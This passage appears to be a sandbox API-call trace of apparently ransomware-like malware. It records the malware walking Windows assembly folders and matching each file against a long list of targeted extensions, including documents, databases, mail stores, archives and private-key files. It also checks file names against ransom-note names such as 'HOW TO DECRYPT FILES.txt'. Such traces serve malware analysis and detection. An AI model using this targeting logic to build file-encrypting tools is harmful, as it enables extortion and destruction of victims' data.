lstrlenA (lpString="*.eml") returned 5 [0103.786] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pst") returned 0 [0103.786] lstrlenA (lpString="*.pst") returned 5 [0103.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ost") returned 0 [0103.787] lstrlenA (lpString="*.ost") returned 5 [0103.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.idx") returned 0 [0103.787] lstrlenA (lpString="*.idx") returned 5 [0103.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dbx") returned 0 [0103.787] lstrlenA (lpString="*.dbx") returned 5 [0103.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.sql") returned 0 [0103.787] lstrlenA (lpString="*.sql") returned 5 [0103.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mdb") returned 0 [0103.787] lstrlenA (lpString="*.mdb") returned 5 [0103.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.fdb") returned 0 [0103.787] lstrlenA (lpString="*.fdb") returned 5 [0103.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.wab") returned 0 [0103.787] lstrlenA (lpString="*.wab") returned 5 [0103.787] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dat") returned 0 [0103.787] lstrlenA (lpString="*.dat") returned 5 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.txt") returned 0 [0103.788] lstrlenA (lpString="*.txt") returned 5 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.jpeg") returned 0 [0103.788] lstrlenA (lpString="*.jpeg") returned 6 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.jpg") returned 0 [0103.788] lstrlenA (lpString="*.jpg") returned 5 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.png") returned 0 [0103.788] lstrlenA (lpString="*.png") returned 5 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.php") returned 0 [0103.788] lstrlenA (lpString="*.php") returned 5 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.cs") returned 0 [0103.788] lstrlenA (lpString="*.cs") returned 4 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.cpp") returned 0 [0103.788] lstrlenA (lpString="*.cpp") returned 5 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.rar") returned 0 [0103.788] lstrlenA (lpString="*.rar") returned 5 [0103.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.zip") returned 0 [0103.788] lstrlenA (lpString="*.zip") returned 5 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.html") returned 0 [0103.789] lstrlenA (lpString="*.html") returned 6 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.htm") returned 0 [0103.789] lstrlenA (lpString="*.htm") returned 5 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.xlsx") returned 0 [0103.789] lstrlenA (lpString="*.xlsx") returned 6 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.xls") returned 0 [0103.789] lstrlenA (lpString="*.xls") returned 5 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mp4") returned 0 [0103.789] lstrlenA (lpString="*.mp4") returned 5 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ppt") returned 0 [0103.789] lstrlenA (lpString="*.ppt") returned 5 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pptx") returned 0 [0103.789] lstrlenA (lpString="*.pptx") returned 6 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.doc") returned 0 [0103.789] lstrlenA (lpString="*.doc") returned 5 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dot") returned 0 [0103.789] lstrlenA (lpString="*.dot") returned 5 [0103.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.docx") returned 0 [0103.789] lstrlenA (lpString="*.docx") returned 6 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.7z") returned 0 [0103.790] lstrlenA (lpString="*.7z") returned 4 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.tar") returned 0 [0103.790] lstrlenA (lpString="*.tar") returned 5 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.bz2") returned 0 [0103.790] lstrlenA (lpString="*.bz2") returned 5 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.gz") returned 0 [0103.790] lstrlenA (lpString="*.gz") returned 4 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mkv") returned 0 [0103.790] lstrlenA (lpString="*.mkv") returned 5 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.eml") returned 0 [0103.790] lstrlenA (lpString="*.eml") returned 5 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.msg") returned 0 [0103.790] lstrlenA (lpString="*.msg") returned 5 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.edb") returned 0 [0103.790] lstrlenA (lpString="*.edb") returned 5 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.accdb") returned 0 [0103.790] lstrlenA (lpString="*.accdb") returned 7 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.odb") returned 0 [0103.790] lstrlenA (lpString="*.odb") returned 5 [0103.790] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.java") returned 0 [0103.791] lstrlenA (lpString="*.java") returned 6 [0103.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.asm") returned 0 [0103.791] lstrlenA (lpString="*.asm") returned 5 [0103.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pfx") returned 0 [0103.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pem") returned 0 [0103.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.p12") returned 0 [0103.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.gpg") returned 0 [0103.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.vsd") returned 0 [0103.791] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.odg") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.raw") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.nef") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.svg") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.psd") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.vmx") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.vmdk") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.vdi") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.lay6") returned 0 [0103.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mpeg") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.djvu") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.tiff") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.backup") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.pdf") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.cert") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.docm") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.xlsm") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.dwg") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.nd") returned 0 [0103.793] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.tlg") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.lgb") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mov") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.xdw") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.ods") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.wav") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.mp3") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.aiff") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.flac") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.m4a") returned 0 [0103.794] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll", pszSpec="*.csv") returned 0 [0103.795] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e514b03, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e514b03, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e514b03, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.795] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.795] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e560dc3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e560dc3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e560dc3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ee28a075665b6bc23b6dae56903d431d", cAlternateFileName="EE28A0~1")) returned 0 [0103.795] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0103.795] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e66b765, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e66b765, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.WSMan.Run#", cAlternateFileName="MICROS~1.RUN")) returned 1 [0103.795] lstrcmpA (lpString1=".", lpString2="Microsoft.WSMan.Run#") returned -1 [0103.795] lstrcmpA (lpString1="..", lpString2="Microsoft.WSMan.Run#") returned -1 [0103.795] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0103.795] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="Microsoft.WSMan.Run#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#" [0103.795] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e66b765, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e66b765, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0103.796] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.796] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e66b765, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e66b765, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.796] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.796] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.796] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e66b765, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e66b765, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="86550fdda6994a9c192d7a0b9b59ee5b", cAlternateFileName="86550F~1")) returned 1 [0103.796] lstrcmpA (lpString1=".", lpString2="86550fdda6994a9c192d7a0b9b59ee5b") returned -1 [0103.796] lstrcmpA (lpString1="..", lpString2="86550fdda6994a9c192d7a0b9b59ee5b") returned -1 [0103.796] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\*.*") returned="*.*" [0103.796] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\", lpString2="86550fdda6994a9c192d7a0b9b59ee5b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b" [0103.797] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Run#\\86550fdda6994a9c192d7a0b9b59ee5b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e66b765, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e66b765, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.797] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.797] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e66b765, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e66b765, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e66b765, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.797] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.797] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.797] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e61f4a5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e61f4a5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e61f4a5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Runtime.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.797] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.797] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WSMan.Runtime.ni.dll") returned -1 [0103.797] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WSMan.Runtime.ni.dll") returned -1 [0103.797] lstrcmpiA (lpString1="", 